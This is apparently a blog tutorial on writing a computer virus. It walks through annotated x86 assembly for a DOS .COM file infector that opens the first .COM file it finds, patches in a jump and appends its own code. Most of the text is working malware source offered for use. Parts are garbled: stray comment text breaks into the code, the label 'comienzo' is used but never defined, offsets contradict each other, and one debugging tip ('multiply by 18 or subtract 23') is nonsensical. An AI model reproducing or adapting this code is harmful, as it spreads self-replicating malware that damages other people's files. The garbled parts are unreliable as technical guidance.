Basic Virus programming

This section is dedicated to those who would like to write a Virus program, but don't have the knowledge to do so. First of all, writing a virus is no big deal. It is an easy project, but one which requires some basic programming skills, and the desire to write a virus! If either of these is missing, writing a virus would be tedious indeed! Well, if you meet these requisites, keep reading this article....

The survival of a virus is based in its ability to reproduce. "So how the fuck do I make a program reproduce?” you might ask. Simple, by getting it to copy itself to other files....
The functional logic of a virus is as follows:
1- Search for a file to infect
2- Open the file to see if it is infected
3- If infected, search for another file
4- Else, infect the file
5- Return control to the host program.

The following is an example of a simple virus:
Warning, this example is a (piece of shit?)
- The virus does not test for prior infection
- it searches only for the first .COM file in the current directory. Careful when executing this file, since the first time it's executed it will search for and infect the first file in the directory. If we later run the newly infected file, it will find the first file in its directory, itself. Thus, it will re-infect itself over and over.

(The variables in a .COM file are relative to offset 100h).
codigo segment 'code'org 100h ;Organize all the code starting from offset 100h
assume cs:codigo,ds:codigo,es:codigo ;Define the use of the segments start proc far ;Start the routine
push cs ;Store CS
push cs ;Store CS
once again.
pop ds ;Bring DS out from stack
pop es ;Bring ES out from stack
call falso_proc ;Call proc. so that its
address is placed in the stack
falso_proc proc near
falso_proc endp
pop bp ;BP<== Proc. address.
sub bp, 107h ;BP<== BP - Previous directory
This is done to take the variables relative to BP, since the infection displaces the variables at exactly the length of the file. At the first infection, instruction "SUB BP, 107h" is 107h, so that the contents of BP is 0; when I call a variable with "BP+VARIABLE" the value of the variable's address is not modified. When I load it , for example, from a 100h byte infected file, the instruction "SUB BP, 107h" leaves me at address 207h which means BP=100h, the size of the original file. Had I called the variable without adding BP, I would have been short by 100h bytes. Find the first .COM file in the directory
mov ah, 4eh ;Search for the 1st file
lea dx, bp+file_inf ;DS:DX= offset of FILE_INF
(*.*) so it will search all
the files, including directory names with extensions.
mov cx, 0000h ;Entry attributes int 21h
These attributes mentioned in the commentary are the directory's entry attributes. When I set the attributes to 0, I'm telling DOS to search normal files. If I include a bit combination which provides the Hidden, System or Directory attributes, DOS will search for files with those attributes, as well as the normal files. If the search range includes the Volume bit, the search
is limited to that. These are the bits which correspond to each attribute:
Bits: 7 6 5 4 3 2 1 0
. . . . . . . 1 Bit 0: Read only
. . . . . . 1 . Bit 1: Hidden
. . . . . 1 . . Bit 2: System
. . . . 1 . . . Bit 3: Volume
. . . 1 . . . . Bit 4: Directory
. . 1 . . . . . Bit 5: File

Bits 6 and 7 are not used as they are reserved for "future applications".
Open file
mov ah, 3dh ;Open the file.
mov al, 00000010b ;read/write.
mov dx, 009eh ;DX<== DTA(filename) offset
int 21h ;put the handle in AX
push ax ;and store in stack.
The attributes I'm setting in AL are not the same as before. These are the "open" attributes. We are only interested in the first 3 bits,
bits 2 1 0:

0 0 0 Read only mode
0 0 1 Write only mode
0 1 0 Read/Write mode

OK, we now have the file attributes stored in AL. What we now need to do is to store in DX the offset of the variable where I've stored the ASCIIZ chain with the name of the file to be opened. In this case, we don't have a NAME_OF_FILE variable. Instead, the name is located in the DTA (Disk Transfer Area). I we have it in the DTA...... Why? Simply because when we search for a file to infect, all the information we need is returned to this memory area. This buffer, if it was not reset, is found in the PSP; more precisely, it starts at offset 80h and is 43d bytes in size.The DTA format is as follows:
Offset Bytes Function
00h 21d Used by DOS for the 4fh service
(search for the next file)
15h 01d Attributes of the file that's been found
16h 02d File time
18h 02d File date
1Ah 04d File size in bytes
1Eh 13d File name in an ASCIIZ chain

Well, all that remains to be done is to give DX the position in memory where I've stored the filename: "MOV DX, E1h" and its's done. But careful now, remember that DTA starts at offset 80h, which means I have to pass to DX the value "80h+1Eh = 9Eh". That would than leave "MOV DX, 9Eh"; the problem is solved. Now you are probably asking yourselves what I mean by "handle". The handle is a number which tells DOS which file we want. DOS gives us a handle for each file we open so we have to be careful to have the correct handle for each file which we read/write.
Read the first 3 bytes.
pop bx ;I take the handle from the
stack to BX
push bx ;and I store it again.
mov ah, 3fh ;Read file.
mov cx, 0003h ;Read 3 bytes.
lea dx, bp+buffer ;and store in the buffer.
int 21h
INFECTAR: ;(infect)
Move pointer to the start.
mov ax, 4200h ;I move the write pointer
to the beginning of the program
mov cx, 0000h
mov dx, 0000h
int 21h
The pointer's displacement, relative to the position of the pointer as specified in AL, is placed in CX and DX.
Pointer displacement modes set in AL:
AL <== 00 Move pointer to the beginning of the file.
AL <== 01 leave pointer where it is.
AL <== 02 Move pointer to end-of-file.
Write the first byte (jmp)
mov ah, 40h ;write the first byte.
mov cx, 1d ;Quantity=1.
lea dx, bp+jump ;DX<== JUMP offset
int 21h
(Here we still need the handle, but we don't need to set it again because the register which contained the information was not modified. The first byte to be written is a JUMP instruction (the symbol for the jump is below). What follows the jump is the address of the jump, file-length + 1. (test the "+ 1" thoroughly, since this can cause problems; if so, multiply by 18 or subtract 23.) Since the entire virus code is copied at the end of the file, the jump gives the virus control in an infected file.
Calculating file length
mov cx, 2 ;Copy 2 bytes.
mov si, 009ah ;SI<== DTA offset
lea di, bp+longitud ;DI<== File LENGTH offset.
rep movsb ;Copy.
This instruction must have the 'SOURCE' buffer address in DS:SI and the address where the string will be copied in ES:DI (in this case, I copy the file length of the DTA to the variable'LONGITUD').
sub word ptr [bp+longitud], 3 ;subtract 3 bytes from
The JMP is completed
mov ah, 40h ;Write.
mov cx, 2d ;Number of bytes.
lea dx, bp+longitud ;DX<== LONGITUD (length)
int 21h
Move pointer to end
mov ax, 4202h ;Move the write pointer to the
end of the program.
mov cx, 0000h
mov dx, 0000h
int 21h
add word ptr [bp+longitud],3 ;Restore LONGITUD.
Copy the virus to the program.
pop bx ;Restore the handle.
mov ah, 40h
mov cx, 190d ;number of bytes to copy.
lea dx, bp+comienzo ;Start copying from....
int 21h
Close the file after infection
mov ah, 3eh ;Close file.
int 21h
Here, too, we need in DS:DX the address of the buffer which contains the filename string, but in this case DS and DX already contain those values from before.
==================RETURN CONTROL TO THE HOST=====================
Copy the buffer which contains the first 3 bytes of the file into memory.
mov cx, 0003h ;Number of bytes (3).
mov di, 0100h ;DI<== offset 100h. Beginning of the
program in memory.
lea si, bp+buffer ;SI<== BUFFER offset
rep movsb ;Copy.
What we are doing here is to "fix" the file, since when it was infected, the first few bytes are overwritten by the virus. That is why we reconstruct the file to its original state, by copying the first 3 bytes, which we had stored earlier, into memory.
Jump to offset 100h
mov ax, 0100h ;Address needed to execute the host
jmp ax
As we mentioned before, in .COM files the executable code begins at offset 100h. The information found between 00h and 100h is program data, like the DTA for example. The main difference between a .COM file and an .EXE is that a .COM cannot occupy more than one memory segment, or 65535 bytes. .EXEs can, because DOS can 'tailor' them to fit into a number of different segments. Unlike.EXE files. .COM files are faithful reproductions of the contents of memory.
====================DATA AREA===================================
buffer db 7d dup(0)
longitud db 2 dup(0)
file_inf db '*.COM',0
jump db 'é',0 ;<----jump ascii
(The character '0' is the end of the ASCIIZ string)
start endp ;End of main procedure
codigo ends ;end of code segment
end comienzo ;END. Go to COMIENZO


No comments:

Post a Comment


Related Posts Plugin for WordPress, Blogger...